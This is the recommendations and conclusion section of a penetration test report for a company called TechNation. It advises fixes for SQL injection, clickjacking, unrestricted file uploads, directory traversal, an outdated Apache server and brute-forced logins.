As we wrote in the Executive Summary, there are at least 10 vulnerabilities we found at the
given amount of time. This does not mean that they are only ones in Web Application.
Please consider recommended actions, and we encourage you to test the website once
again after taking presented steps.

Recommendations:
To mitigate these vulnerabilities, we recommend the following actions:

Implement input validation and filtering to prevent SQL Injection attacks.
Implement password policies, such as requiring complex passwords, to strengthen
authentication.

Implement the X-frame policy to prevent clickjacking attacks.

Implement file type verification and filtering to prevent unrestricted file uploads.
Implement access control measures to prevent directory traversal attacks.
Conduct regular security assessments to identify and address new vulnerabilities.
The server is running on the old Apache server, please upgrade to the newest one
ASAP, and keep all the software up to date.

8. Last but not least, ensure to add captcha while logging in, or other mechanism that
will prevent brute-forcing logins.

.

NoubsWw

In conclusion, our pentester identified several vulnerabilities that could lead to unauthorized
access, data breaches, and other security incidents. We recommend that TechNation takes
the necessary actions to mitigate these vulnerabilities and implement a robust security
program to protect its users and data.
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